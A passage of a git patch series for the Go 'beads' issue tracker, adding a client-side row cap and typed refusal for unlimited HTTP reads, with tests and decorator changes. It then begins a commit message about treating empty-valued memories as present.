loopback-tested caller +// from meeting the refusal for the first time in production. Store.dispatch +// holds the line (refuseUnlimitedOnWire), so a new read path that forgets is a +// loud client error rather than a silent difference between a laptop and a +// fleet. The tripwire guards Store.dispatch only: a caller of the wire.Client +// itself is outside it and must send a positive limit on its own, as the +// down-level claimer's listReadyWork page does (readyClaimPage). +// +// What replaces `limit=0` depends on what paging the operation publishes: +// +// - listIssues publishes a keyset cursor, so an unlimited `bd list` is the +// cursor walk in list_walk.go, at walkPageSize rows a request. No response +// is larger than a page, so the walk is NOT capped here: as on every local +// backend, its only bound is the caller's --max-rows / BEADS_MAX_ROWS. +// - listReadyWork and queryIssues publish NO cursor and no offset (their +// pages are has_more-only by design: a ready set and a predicate query are +// assembled outside the database's keyset order). There is nothing to walk, +// so an unlimited read is ONE request bounded at the cap plus one: the +// overage row is what proves the cap fired. +// +// THE CAP. Every unlimited ready or query read is bounded on the client at +// UnlimitedReadCapEnv rows (DefaultUnlimitedReadCap when unset), because its +// whole answer is one response the server buffers. Past it the read is +// REFUSED with *UnlimitedReadCapError — never truncated. A truncated +// "unlimited" answer is the defect this file exists to remove (the server's +// 100-row ready default used to cap gc's routed-pool queues silently), so the +// only two answers are "every row" and "a typed refusal naming the cap". +// +// SNAPSHOT SEMANTICS, stated per shape because they differ: +// +// - ready and query: one request is one server read, so the answer is one +// consistent snapshot of the ready set / the matching set. +// - list: the cursor walk is one server read PER PAGE, not a snapshot. The +// keyset is strict, so no row is returned twice, and a row that exists and +// matches the filter for the whole walk is returned exactly once. A row +// created during the walk, or one whose status/fields change so that it +// starts or stops matching, may or may not appear — the answer is "the rows +// that matched at the moment each page was read". That is the same promise +// a paging caller of the wire gets, and it is the reason the ready shape +// (whose consumers act on the whole set at once) is NOT emulated through a +// list walk. + +// UnlimitedReadCapEnv bounds how many rows one unlimited ready or query read +// over HTTP may return before it is refused (an unlimited list is a paged +// walk and is not capped). A positive integer; unset means +// DefaultUnlimitedReadCap. A malformed value is an error on every unlimited +// read rather than a silent fall back to the default, so a typo cannot quietly +// re-impose a bound the operator meant to raise. +const UnlimitedReadCapEnv = "BEADS_HTTP_UNLIMITED_READ_CAP" + +// DefaultUnlimitedReadCap is the cap when UnlimitedReadCapEnv is unset. +const DefaultUnlimitedReadCap = 10000 + +// maxUnlimitedReadCap is the largest cap UnlimitedReadCapEnv accepts. It is a +// sanity bound on the operator's knob, not a tuning value: the request asks +// the server to buffer cap+1 rows in one response. +const maxUnlimitedReadCap = 1_000_000 + +// ErrUnlimitedReadCap is the sentinel every *UnlimitedReadCapError matches +// under errors.Is. +var ErrUnlimitedReadCap = errors.New("unlimited read exceeds the http client cap") + +// UnlimitedReadCapError refuses an unlimited ready or query read whose answer +// is larger than the client cap, or whose server would not hand back the +// whole answer. +type UnlimitedReadCapError struct { + // Op is the wire operation (listReadyWork or queryIssues). + Op string + // Cap is the bound in force. + Cap int + // Found is how many rows had arrived when the refusal fired: Cap+1 when the + // cap fired, or the page length when the server truncated (see below). + Found int + // ServerTruncated marks the other refusal: the server returned no more than + // the cap yet reported has_more, so it bounded the page below what was + // asked. Returning that page would be the silent truncation this refusal + // exists to prevent. + ServerTruncated bool +} + +func (e *UnlimitedReadCapError) Error() string { + if e.ServerTruncated { + return fmt.Sprintf("unlimited %s over http: the server returned %d rows with more remaining, "+ + "below the requested bound of %d; refusing a truncated answer (narrow the query)", + e.Op, e.Found, e.Cap+1) + } + return fmt.Sprintf("unlimited %s over http: more than %d rows match (%s=%d); "+ + "narrow the query or raise %s", + e.Op, e.Cap, UnlimitedReadCapEnv, e.Cap, UnlimitedReadCapEnv) +} + +func (e *UnlimitedReadCapError) Unwrap() error { return ErrUnlimitedReadCap } + +// unlimitedReadCap reads UnlimitedReadCapEnv. +func unlimitedReadCap() (int, error) { + raw := strings.TrimSpace(os.Getenv(UnlimitedReadCapEnv)) + if raw == "" { + return DefaultUnlimitedReadCap, nil + } + n, err := strconv.Atoi(raw) + if err != nil || n < 1 || n > maxUnlimitedReadCap { + return 0, fmt.Errorf("%s=%q: want an integer between 1 and %d", UnlimitedReadCapEnv, raw, maxUnlimitedReadCap) + } + return n, nil +} + +// boundUnlimitedPage writes the bounded `limit` that replaces an unlimited +// read on a cursorless listing, returning the cap in force, or 0 when the +// request is not unlimited and goes out unchanged. +// +// params is the encoder's output and is modified in place. The encoder maps +// fields to the wire's own spelling (`limit=0` for an explicit zero, nothing +// for a legacy zero); how an unlimited read is honored is the pager's +// decision, made here. +func boundUnlimitedPage(params url.Values, unlimited bool) (int, error) { + if !unlimited { + return 0, nil + } + readCap, err := unlimitedReadCap() + if err != nil { + return 0, err + } + params.Set("limit", strconv.Itoa(readCap+1)) + return readCap, nil +} + +// tightenUnlimitedPage lets a caller's MaxRows size an unlimited read's +// request when it is the tighter bound, returning the bound now in force. +// Past MaxRows the answer is refused either way, so sending cap+1 would make +// the server buffer up to the cap's rows only for the caller to throw them +// away. The caller's own MaxRows check must run before checkUnlimitedPage, so +// an answer over it keeps its *ErrTooManyRows attribution. +func tightenUnlimitedPage(params url.Values, readCap, maxRows int) int { + if readCap == 0 || maxRows <= 0 || maxRows >= readCap { + return readCap + } + params.Set("limit", strconv.Itoa(maxRows+1)) + return maxRows +} + +// checkUnlimitedPage applies the cap to the one page a cursorless unlimited +// read received. readCap 0 means the read was bounded by the caller and the +// page is returned as the server shaped it. +func checkUnlimitedPage(op string, readCap, rows int, hasMore bool) error { + switch { + case readCap == 0: + return nil + case rows > readCap: + return &UnlimitedReadCapError{Op: op, Cap: readCap, Found: rows} + case hasMore: + return &UnlimitedReadCapError{Op: op, Cap: readCap, Found: rows, ServerTruncated: true} + } + return nil +} + +// errUnlimitedOnWire is the dispatch tripwire's answer: a client bug, never a +// server condition, so it names no server and is not retried. +var errUnlimitedOnWire = errors.New("httpclient: refusing to send limit=0 (unlimited) on the wire; an unlimited read must be paged or bounded by the client cap") + +// unlimitedSpellingOps are the operations whose `limit=0` means unlimited and +// is refused off loopback. +var unlimitedSpellingOps = map[string]bool{ + wire.OpListReadyWork: true, + wire.OpListIssues: true, + wire.OpQueryIssues: true, +} + +// refuseUnlimitedOnWire is dispatch's guard that `limit=0` never leaves this +// client on an operation that reads it as unlimited. +func refuseUnlimitedOnWire(req wire.Request) error { + if unlimitedSpellingOps[req.Op] && req.Query != nil && req.Query.Get("limit") == "0" { + return fmt.Errorf("%w (%s)", errUnlimitedOnWire, req.Op) + } + return nil +} diff --git a/internal/httpclient/unlimited_read_test.go b/internal/httpclient/unlimited_read_test.go new file mode 100644 index 000000000..b5a842094 --- /dev/null +++ b/internal/httpclient/unlimited_read_test.go @@ -0,0 +1,128 @@ +package httpclient + +import ( + "context" + "errors" + "net/http" + "net/url" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// TestDispatchRefusesUnlimitedOnTheWire pins the tripwire: `limit=0` on an +// operation that reads it as unlimited never leaves dispatch, and the +// refusal is made before any transport is consulted. +// +// GOES RED when refuseUnlimitedOnWire is removed from dispatch. +func TestDispatchRefusesUnlimitedOnTheWire(t *testing.T) { + s := New(Target{BaseURL: &url.URL{Scheme: "http", Host: "127.0.0.1:1"}}, failingWire{t: t}, nil) + for _, op := range []string{wire.OpListReadyWork, wire.OpListIssues, wire.OpQueryIssues} { + err := s.dispatch(t.Context(), wire.Request{ + Op: op, Method: http.MethodGet, Path: "/x", Query: url.Values{"limit": {"0"}}, + }, nil) + if !errors.Is(err, errUnlimitedOnWire) { + t.Errorf("%s with limit=0: err = %v, want errUnlimitedOnWire", op, err) + } + } + // A bounded limit, and an operation whose limit means something else, pass. + for _, req := range []wire.Request{ + {Op: wire.OpListIssues, Query: url.Values{"limit": {"10"}}}, + {Op: wire.OpCountReadyWork, Query: url.Values{"limit": {"0"}}}, + } { + if err := refuseUnlimitedOnWire(req); err != nil { + t.Errorf("%s %v: unexpected refusal %v", req.Op, req.Query, err) + } + } +} + +// failingWire fails the test if dispatch ever reaches it. +type failingWire struct { + WireClient + t *testing.T +} + +func (w failingWire) Preflight(_ context.Context, op string) error { + w.t.Errorf("dispatch reached Preflight for %s; the tripwire must fire first", op) + return errors.New("unreachable") +} + +// TestCheckUnlimitedPage covers the two refusals of a cursorless unlimited +// read, including the one no served fixture can produce: a server that +// truncates below the requested bound and says so with has_more. A full +// cap+1 page that also reports has_more is how a real workspace overflows +// the cap, and it is the cap's refusal, not a truncation. +func TestCheckUnlimitedPage(t *testing.T) { + for _, tc := range []struct { + name string + readCap int + rows int + hasMore bool + truncated bool + refused bool + }{ + {"bounded read passes as shaped", 0, 5, true, false, false}, + {"within the cap", 10, 10, false, false, false}, + {"over the cap", 10, 11, false, false, true}, + {"over the cap with more remaining", 10, 11, true, false, true}, + {"server truncated below the bound", 10, 4, true, true, true}, + } { + err := checkUnlimitedPage(wire.OpQueryIssues, tc.readCap, tc.rows, tc.hasMore) + var capErr *UnlimitedReadCapError + if got := errors.As(err, &capErr); got != tc.refused { + t.Fatalf("%s: refused = %v (%v), want %v", tc.name, got, err, tc.refused) + } + if tc.refused && capErr.ServerTruncated != tc.truncated { + t.Errorf("%s: ServerTruncated = %v, want %v", tc.name, capErr.ServerTruncated, tc.truncated) + } + } +} + +// TestTightenUnlimitedPage pins when a caller's MaxRows sizes the request of +// an unlimited read: only when it is tighter than the cap. A bounded read +// (readCap 0) goes out exactly as the caller shaped it. +func TestTightenUnlimitedPage(t *testing.T) { + for _, tc := range []struct { + name string + readCap int + maxRows int + sent string // the limit before the call + wantBound int + wantLimit string + }{ + {"bounded read", 0, 5, "7", 0, "7"}, + {"no MaxRows", 10, 0, "11", 10, "11"}, + {"MaxRows above the cap", 10, 50, "11", 10, "11"}, + {"MaxRows at the cap", 10, 10, "11", 10, "11"}, + {"MaxRows below the cap", 10, 5, "11", 5, "6"}, + } { + params := url.Values{"limit": {tc.sent}} + if got := tightenUnlimitedPage(params, tc.readCap, tc.maxRows); got != tc.wantBound { + t.Errorf("%s: bound = %d, want %d", tc.name, got, tc.wantBound) + } + if got := params.Get("limit"); got != tc.wantLimit { + t.Errorf("%s: limit = %q, want %q", tc.name, got, tc.wantLimit) + } + } +} + +func TestUnlimitedReadCapEnv(t *testing.T) { + t.Setenv(UnlimitedReadCapEnv, "") + if n, err := unlimitedReadCap(); err != nil || n != DefaultUnlimitedReadCap { + t.Errorf("unset: %d, %v; want the default %d", n, err, DefaultUnlimitedReadCap) + } + t.Setenv(UnlimitedReadCapEnv, " 250 ") + if n, err := unlimitedReadCap(); err != nil || n != 250 { + t.Errorf("250: %d, %v", n, err) + } + t.Setenv(UnlimitedReadCapEnv, "1000000") + if n, err := unlimitedReadCap(); err != nil || n != maxUnlimitedReadCap { + t.Errorf("the inclusive maximum: %d, %v; want %d", n, err, maxUnlimitedReadCap) + } + for _, bad := range []string{"0", "-1", "ten", "1000001"} { + t.Setenv(UnlimitedReadCapEnv, bad) + if _, err := unlimitedReadCap(); err == nil { + t.Errorf("%q was accepted", bad) + } + } +} diff --git a/internal/storage/externaldeps/decorator.go b/internal/storage/externaldeps/decorator.go index 724bbfda4..5c24bb39f 100644 --- a/internal/storage/externaldeps/decorator.go +++ b/internal/storage/externaldeps/decorator.go @@ -2,6 +2,7 @@ package externaldeps import ( "context" + "errors" "fmt" "slices" "sort" @@ -226,7 +227,7 @@ func (s *Store) GetReadyWork(ctx context.Context, filter types.WorkFilter) ([]*t queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) issues, err := s.inner.GetReadyWork(ctx, queryFilter) if err != nil { - return nil, err + return nil, innerCapError(err, filter, blockedIDs) } kept := dropBlockedIssues(issues, blockedIDs, filter.Limit) if err := capKeptRows(len(kept), filter, blockedIDs); err != nil { @@ -251,7 +252,7 @@ func (s *Store) readyWorkWithCounts(ctx context.Context, filter types.WorkFilter queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) rows, err := s.inner.GetReadyWorkWithCounts(ctx, queryFilter) if err != nil { - return nil, err + return nil, innerCapError(err, filter, blockedIDs) } kept, _ := dropBlockedIssuesWithCounts(rows, blockedIDs, filter.Limit) if err := capKeptRows(len(kept), filter, blockedIDs); err != nil { @@ -291,13 +292,21 @@ func (s *Store) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types // decorator has to drop. Whichever path is taken, the policy itself is never // skipped — only where the exclusion happens differs. // -// The client-side path also takes the MaxRows cap off the inner query. That -// store caps the rows it fetched, which the bump lets outnumber Limit, so +// The client-side path also takes the MaxRows cap off a limited inner query. +// That store caps the rows it fetched, which the bump lets outnumber Limit, so // `--limit N --max-rows N` failed with exit 2 as soon as more than N issues // were ready, refusing a page that could never exceed N. The caller enforces // the cap on the rows it keeps instead (capKeptRows), after the Limit trim, // which is where issueops enforces it on the rows a SQL store delivers // (finishReadyWorkWithCounts). +// +// An unlimited inner query keeps its cap, bumped the same way to MaxRows plus +// len(blockedIDs). Past that many rows, more than MaxRows of them are kept +// whichever rows the drop takes, so the bump refuses nothing the caller's cap +// would admit, and a store that sizes an unlimited request by MaxRows (the +// http bridge, under its client read cap) asks for that bound and one row +// more rather than the whole ready set. Its refusal reaches the caller as the +// caller's own (innerCapError). func (s *Store) readyExclusion(filter types.WorkFilter, refsByIssue map[string][]string) (queryFilter types.WorkFilter, blockedIDs map[string]bool) { if len(refsByIssue) == 0 { return filter, nil @@ -310,17 +319,21 @@ func (s *Store) readyExclusion(filter types.WorkFilter, refsByIssue map[string][ blockedIDs[issueID] = true } queryFilter = filter - if queryFilter.Limit > 0 { + switch { + case filter.Limit > 0: queryFilter.Limit += len(blockedIDs) + queryFilter.MaxRows = 0 + queryFilter.MaxRowsSource = "" + case filter.MaxRows > 0: + queryFilter.MaxRows += len(blockedIDs) } - queryFilter.MaxRows = 0 - queryFilter.MaxRowsSource = "" return queryFilter, blockedIDs } -// capKeptRows enforces the MaxRows cap readyExclusion took off the inner -// query, on the kept rows the caller is handed. With nothing to drop -// client-side the inner query kept the cap and has already enforced it. +// capKeptRows enforces the caller's MaxRows cap on the kept rows it is +// handed: readyExclusion took that cap off the inner query, or bumped it by +// the rows the caller drops. With nothing to drop client-side the inner query +// kept the cap and has already enforced it. func capKeptRows(kept int, filter types.WorkFilter, blockedIDs map[string]bool) error { if len(blockedIDs) == 0 { return nil @@ -328,6 +341,22 @@ func capKeptRows(kept int, filter types.WorkFilter, blockedIDs map[string]bool) return issueops.EnforceMaxRowsCap(kept, filter.MaxRows, filter.MaxRowsSource) } +// innerCapError hands the caller its own cap's refusal when the inner query +// refused the MaxRows readyExclusion bumped: Found rows, more than MaxRows +// plus len(blockedIDs), of which at least Found-len(blockedIDs), more than +// MaxRows, would have been kept. Any other error is returned as it is. +func innerCapError(err error, filter types.WorkFilter, blockedIDs map[string]bool) error { + var tooMany *issueops.ErrTooManyRows + if len(blockedIDs) == 0 || filter.Limit > 0 || filter.MaxRows <= 0 || !errors.As(err, &tooMany) { + return err + } + return &issueops.ErrTooManyRows{ + Found: tooMany.Found - len(blockedIDs), + Cap: filter.MaxRows, + Source: filter.MaxRowsSource, + } +} + // dropBlockedIssues is readyExclusion's client-side half: it drops the rows // blockedIDs names and trims what remains to limit. It copies into a fresh // slice rather than compacting issues in place, so the slice s.inner returned @@ -391,7 +420,7 @@ func (s *Store) readyWorkWithCountsAndTotal(ctx context.Context, filter types.Wo queryFilter, blockedIDs := s.readyExclusion(filter, state.refsByIssue) rows, total, err := s.inner.GetReadyWorkWithCountsAndTotal(ctx, queryFilter) if err != nil { - return nil, 0, err + return nil, 0, innerCapError(err, filter, blockedIDs) } kept, blockedSeen := dropBlockedIssuesWithCounts(rows, blockedIDs, filter.Limit) if len(blockedIDs) == 0 { @@ -407,14 +436,14 @@ func (s *Store) readyWorkWithCountsAndTotal(ctx context.Context, filter types.Wo // entire ready set, so every blocked row the window contains is every // blocked row the ready set contains: the subtraction is exact. This // is judged from the rows that came back, not from the Limit asked - // for: a zero Limit means every row to a SQL store, but the http wire - // omits it and the server answers with its default page - // (workapi.DefaultReadyLimit), so an unlimited fetch can come back - // truncated too. + // for, so it holds however a store reads a zero Limit: every row to a + // SQL store, and over http one request bounded at the client cap plus + // one, refused rather than truncated past it (an older http client + // sent no limit at all and got the server's default page back). adjustedTotal = total - blockedSeen } else { // The ready set is bigger than the window that came back (the bumped - // window, or the server's default page for an unlimited fetch), so + // window: the caller's page, or CountReadyWork's one-row page), so // the window cannot say how many of its unseen rows are blocked. Nor // can refsByIssue: it names every workspace issue with an unsatisfied // external blocker, closed ones and ones the filter excludes included, @@ -471,8 +500,16 @@ func (s *Store) CountReadyWork(ctx context.Context, filter types.WorkFilter) (in } // s.inner has no indexed counter (httpclient.Store among others): reuse // the counts-and-total path above, which already copes with a store whose - // transport cannot express ExcludeIDs at all, nor this zero Limit. - _, total, err := s.readyWorkWithCountsAndTotal(ctx, filter, state) + // transport cannot express ExcludeIDs at all. It asks for a ONE-ROW Lite + // page, never every row: the total is the inner store's own count of the + // whole ready set (over http, the server's countReadyWork beside that + // page), and refetchedReadyTotal sizes the externally blocked case. A zero + // Limit would download the whole ready set to report one number — over + // http, up to BEADS_HTTP_UNLIMITED_READ_CAP full rows, refused past it. + page := filter + page.Limit = 1 + page.Lite = true + _, total, err := s.readyWorkWithCountsAndTotal(ctx, page, state) return total, err } diff --git a/internal/storage/externaldeps/decorator_test.go b/internal/storage/externaldeps/decorator_test.go index 3909275ed..c5eaf52c9 100644 --- a/internal/storage/externaldeps/decorator_test.go +++ b/internal/storage/externaldeps/decorator_test.go @@ -34,10 +34,15 @@ type fakeStore struct { excludeIDsUnsupported bool // defaultPage, when positive, is how many rows a zero-Limit ready listing // returns, while GetReadyWorkWithCountsAndTotal's total still counts the - // whole set: httpclient.Store's shape, whose wire omits a zero limit so - // the server answers with its default page. Zero keeps the SQL stores' - // meaning, every row. + // whole set: the shape httpclient.Store had while its wire omitted a zero + // limit and the server answered with its default page. That store now + // bounds an unlimited read itself, but the decorator still judges a window + // by the rows that came back, which this keeps pinned. Zero keeps the SQL + // stores' meaning, every row. defaultPage int + // readyFilters records every GetReadyWorkWithCountsAndTotal filter, in + // order. + readyFilters []types.WorkFilter } func (f *fakeStore) IssueLifecycle() (publicops.Lifecycle, error) { return f.lifecycle, nil } @@ -124,6 +129,7 @@ func (f *fakeStore) GetReadyWorkWithCounts(ctx context.Context, filter types.Wor } func (f *fakeStore) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) { + f.readyFilters = append(f.readyFilters, filter) items, err := f.GetReadyWorkWithCounts(ctx, filter) if err != nil { return nil, 0, err @@ -606,13 +612,64 @@ func TestReadyTotalsWhenStoreCannotExpressExcludeIDs(t *testing.T) { } } +// TestCountReadyWorkFallbackFetchesABoundedPage pins what CountReadyWork asks +// of a store with no ReadyWorkCounter: a one-row Lite page whose total is the +// store's own count, never a zero Limit. Over http a zero Limit is an +// unlimited read, which would download every ready row to report one number +// and be refused past BEADS_HTTP_UNLIMITED_READ_CAP. +func TestCountReadyWorkFallbackFetchesABoundedPage(t *testing.T) { + a, b, c := issue("be-a"), issue("be-b"), issue("be-c") + for _, tc := range []struct { + name string + deps map[string][]*types.Dependency + want int + // wantFirst is the first fetch's Limit: the one-row page, bumped by + // every externally blocked id, since this store drops them itself. + wantFirst int + }{ + {name: "nothing externally blocked", want: 3, wantFirst: 1}, + { + name: "one issue externally blocked", + deps: map[string][]*types.Dependency{ + a.ID: {externalDep(a.ID, "external:remote:payments", types.DepBlocks)}, + }, + want: 2, + wantFirst: 2, + }, + } { + t.Run(tc.name, func(t *testing.T) { + raw := &fakeStore{ready: []*types.Issue{a, b, c}, deps: tc.deps, excludeIDsUnsupported: true} + got, err := testStore(raw, &fakeStore{}, true).CountReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("CountReadyWork: %v", err) + } + if got != tc.want { + t.Fatalf("ready count = %d, want %d", got, tc.want) + } + if len(raw.readyFilters) == 0 { + t.Fatal("CountReadyWork fetched nothing; the fallback is not on the path") + } + if first := raw.readyFilters[0]; first.Limit != tc.wantFirst || !first.Lite { + t.Errorf("first fetch: Limit %d, Lite %v; want Limit %d, Lite true", first.Limit, first.Lite, tc.wantFirst) + } + for i, f := range raw.readyFilters { + if f.Limit <= 0 { + t.Errorf("fetch %d asked for every row (Limit %d)", i, f.Limit) + } + } + }) + } +} + // TestReadyTotalsWhenAnUnlimitedFetchComesBackAsOnePage pins the shape -// httpclient.Store has and an every-row Limit==0 fake hid: the wire omits a -// zero Limit, the server answers with its default page, and the total still -// counts the whole ready set. CountReadyWork, text-mode bd ready's total, -// always fetches with Limit 0, so be-z (ready, externally blocked, and past -// that page) once stayed in its total because the decorator took a zero Limit -// for a window that held every row. +// httpclient.Store once had and an every-row Limit==0 fake hid: the wire +// omitted a zero Limit, the server answered with its default page, and the +// total still counted the whole ready set. CountReadyWork, text-mode bd +// ready's total, fetched with Limit 0 then, so be-z (ready, externally +// blocked, and past that page) stayed in its total because the decorator took +// a zero Limit for a window that held every row. The count now asks for a +// one-row page and the JSON total below still asks with Limit 0: both must +// leave be-z out. func TestReadyTotalsWhenAnUnlimitedFetchComesBackAsOnePage(t *testing.T) { const defaultPage = 100 // workapi.DefaultReadyLimit, the server's page for an omitted limit ready := make([]*types.Issue, 0, defaultPage+2) diff --git a/issueops/querier.go b/issueops/querier.go index edd3b22b1..c02bf789b 100644 --- a/issueops/querier.go +++ b/issueops/querier.go @@ -61,16 +61,21 @@ type QueryRequest struct { // than a synonym for unlimited: two spellings of "no bound" is one more // than a caller can check for. // - // NOTHING BACKSTOPS IT. ListRequest pairs its Limit with MaxRows, a - // circuit breaker that refuses an oversized answer outright; this request - // has no twin to it by design, and neither knob that sets that one - // (`--max-rows`, BEADS_MAX_ROWS) is read anywhere on the query path. So an - // unlimited query is unbounded in the plain sense: it reads every row the - // expression matches, however many that is, and a caller who asked for one - // gets it rather than an ErrTooManyRows. The ceiling here is Limit itself. - // This is reachable without asking: a piped `bd query` resolves its - // unflagged limit to 0 before the request, the same policy `bd list` has - // applied to piped output since GH#4094. + // NOTHING BACKSTOPS IT on any backend but http (below). ListRequest pairs + // its Limit with MaxRows, a circuit breaker that refuses an oversized + // answer outright; this request has no twin to it by design, and neither + // knob that sets that one (`--max-rows`, BEADS_MAX_ROWS) is read anywhere + // on the query path. So an unlimited query is unbounded in the plain sense: + // it reads every row the expression matches, however many that is, and a + // caller who asked for one gets it rather than an ErrTooManyRows. The + // ceiling here is Limit itself. This is reachable without asking: a piped + // `bd query` resolves its unflagged limit to 0 before the request, the same + // policy `bd list` has applied to piped output since GH#4094. + // + // The http backend is the one exception, because its whole answer is one + // response: it bounds an unlimited query at BEADS_HTTP_UNLIMITED_READ_CAP + // rows and refuses a larger answer with httpclient.ErrUnlimitedReadCap + // rather than truncating it. Limit *int // Offset skips the first N MATCHING rows, on EVERY implementation and for diff --git a/issueops/reader.go b/issueops/reader.go index 3a7d3b0ce..dd761270c 100644 --- a/issueops/reader.go +++ b/issueops/reader.go @@ -93,7 +93,9 @@ type ReadyRequest struct { // Limit bounds the page. Nil means the shared ready default; 0 means // unlimited. It is a pointer so that "unset" and "explicitly unlimited" // stay distinguishable, which is what lets one constant serve both - // surfaces. + // surfaces. Over the http backend an unlimited ready read is one + // response, bounded at BEADS_HTTP_UNLIMITED_READ_CAP rows and refused + // past it with httpclient.ErrUnlimitedReadCap, never truncated. Limit *int // Offset skips the first N matching rows, on EVERY implementation. The // page a caller receives is the rows at positions [Offset, Offset+Limit) From 559b5de1e2be4b75e7cf0be12c48e444181d171b Mon Sep 17 00:00:00 2001 From: Stephanie Jarmak <36544495+sjarmak@users.noreply.github.com> Date: Mon, 12 Oct 2026 19:28:54 +0000 Subject: [PATCH 234/325] fix(memory): preserve presence for empty values (#5964) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(memory): preserve presence for empty values (#5963) Recall and Forget now distinguish an existing empty memory row from an absent key across direct, embedded, and UOW storage paths. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of sjarmak * fix(memory): make bd recall report presence from row existence printRecallResult (and the recallCmd caller) derived "found" from value != "", so a memory stored as the empty string still printed "No memory with key" and exited 1 even though the role's RecallResult.Found was true and bd forget would delete the row. Thread result.Found through instead: an empty-valued memory now recalls cleanly (exit 0, empty value; JSON reports found: true), and only an absent key is a miss. Addresses maintainer review on #5964 (fixes #5963). * test(httpapi): pin GET /v0/beads/memories/{key} as 200 for an empty value TestGetMemoryAnswersAMissWithA404 pinned a RecallResult{Value: ""} case (Found defaulting to its zero value, false) as a 404, a shape no backend can produce since Found now comes from row existence rather than value truthiness. Move that case into its own TestGetMemoryAnswersAnEmptyValueWith200, which recalls Found: true and asserts a 200 with an empty value. Also updates the handler's doc comment, which still described the retired 404-on-empty behavior. Addresses maintainer review on #5964 (fixes #5963). * docs(httpapi): fix openapi spec to say memory presence is row existence The published spec still said an empty-valued memory is a 404 on GET /v0/beads/memories/{key} and DELETE /v0/beads/memories/{key}, contradicting the role's RecallResult.Found (row existence). Rewrite the operation descriptions, both 404 response bodies, Memory.value and RememberedMemory.replaced to say presence is row existence everywhere: an empty-string memory is a 200 (or is removed by forget) with an empty value, matching what GET /v0/beads/memories already enumerated. Regenerate types.gen.go via `make api-gen` so the generated doc comments match. Addresses maintainer review on #5964 (fixes #5963). * docs(changelog): note the empty-valued memory presence fix Add an Unreleased/Fixed entry for #5964 (fixes #5963): bd recall, bd forget and GET /v0/beads/memories/{key} now treat an empty-valued memory as present everywhere, instead of only on GET /v0/beads/memories. * fix(memory): make bd remember recall an empty-valued memory rememberBareKeyPath decided presence from existing != "", so a bare slug naming a memory stored as the empty string was refused as "no memory named" instead of recalled. It now takes the role's Found, matching printRecallResult, bd forget and the HTTP door. * test(memory): pin empty-value presence through the real commands TestPrintRecallResult and TestRememberBareKeyPath call the helpers directly, so a RunE that went back to deciding presence from value != "" would leave them green. TestEmbeddedMemory/empty_valued_memory_is_present empties a memory row beneath bd and runs bd recall, bd remember and bd forget against it, checking first that bd no longer sees the placeholder. Two comments in problem.go and one in memories_test.go still said an empty-valued memory is a 404. The CHANGELOG line now says a key with no row is a miss, since a forgotten key was once stored. * build(bazel): add the memoryops dep to the bd_test go_test (make bazel-sync) memory_embedded_test.go now imports internal/storage/memoryops directly (storagememoryops.StorageKey, to overwrite a memory row out of band), so gazelle emits //internal/storage/memoryops on bd_test. cmd/bd/BUILD.bazel landed on main after this PR branched, so the PR could not carry the dep; without it, bazel.yml's "BUILD files in sync" step fails in the required bazel-test lane. Generated by `make bazel-sync`. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * test(memory): maintainer fixup — adoption review nits Maintainer fixup for the adopt-pr iteration-1 review of #5964. Both review lanes approved and the quality scorecard approved at 981; these are its four non-gating nits, each confined to lines this PR already adds. - internal/httpapi: TestForgetMemoryOfAnEmptyValuedKeyIs200 pins the DELETE door's empty-value 200 the way TestGetMemoryAnswersAnEmptyValueWith200 pins the read. Guarding the handler's 404 on Value == "" reddens exactly this test and nothing else. - CHANGELOG: the bullet names DELETE /v0/beads/memories/{key} beside GET, whose answer changed the same way (404 with the row left standing -> 200 with the row removed). - uow: the two new GetAllConfig presence probes in Recall and Forget say why they read the whole table, by pointing at Remember's rationale. - conformance: RunMemoriesEmptyRowIsPresentUntilForgotten runs its no-history-on-retry leg last and SKIPs it with a reason when a fixture has no CountHistory, as the MemoriesFixture doc promises, instead of passing quietly. All three in-tree fixtures wire the hook, so every in-tree run is unchanged (19/19 on dolt, embeddeddolt and uow, 0 SKIP). Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(httpclient): report an empty-valued memory as present (base-refresh repair) Maintainer repair from refreshing #5964 onto main b630f96f5b. Main's #7247 added the HTTP client store (internal/httpclient) after this PR branched, and its memory role and served conformance leg still treated a memory stored as the empty string as absent: - Recall set Found from Value != "". - The RecallMemory doc said an empty-valued row was a 404. - TestServedMemoriesRecallConflatesStoredEmptyWithAbsent called conformance.RunMemoriesRecallConflatesStoredEmptyWithAbsent, which this PR deletes. The rebase applied cleanly, but the merged tree did not compile. - internal/httpclient/memories.go: Recall reports Found true on any 200. With this PR the wire returns a 404 only for a key with no row; an empty-valued row comes back as a 200 with an empty value. Setting Found from Value would hide that row again on the HTTP backend. Forget already reported Found true on a 200. - internal/httpclient/wire/writes.go: the RecallMemory doc now says the same. - internal/httpclient/served_memories_deps_test.go: the hm10 served case now runs RunMemoriesEmptyRowIsPresentUntilForgotten, the contract case this PR adds in place of the one it deletes. With BEADS_TEST_EMBEDDED_DOLT=1 the served memory tests pass with 0 SKIP. Reverting the Recall line makes hm10 fail with `Recall("hm10-stored-empty") = value "" found false, want value "" found true`. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: sjarmak Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 15 ++ backend/conformance/memories_contract.go | 105 +++++++----- backend/conformance/role_bundle_cases.go | 2 +- cmd/bd/BUILD.bazel | 1 + cmd/bd/memory.go | 24 +-- cmd/bd/memory_embedded_test.go | 48 ++++++ cmd/bd/memory_pure_test.go | 158 +++++++++++++++++- internal/httpapi/apigen/types.gen.go | 4 +- internal/httpapi/memories.go | 9 +- internal/httpapi/memories_test.go | 110 ++++++++---- internal/httpapi/problem.go | 12 +- internal/httpapi/spec/openapi.v0.yaml | 49 +++--- internal/httpclient/memories.go | 7 +- 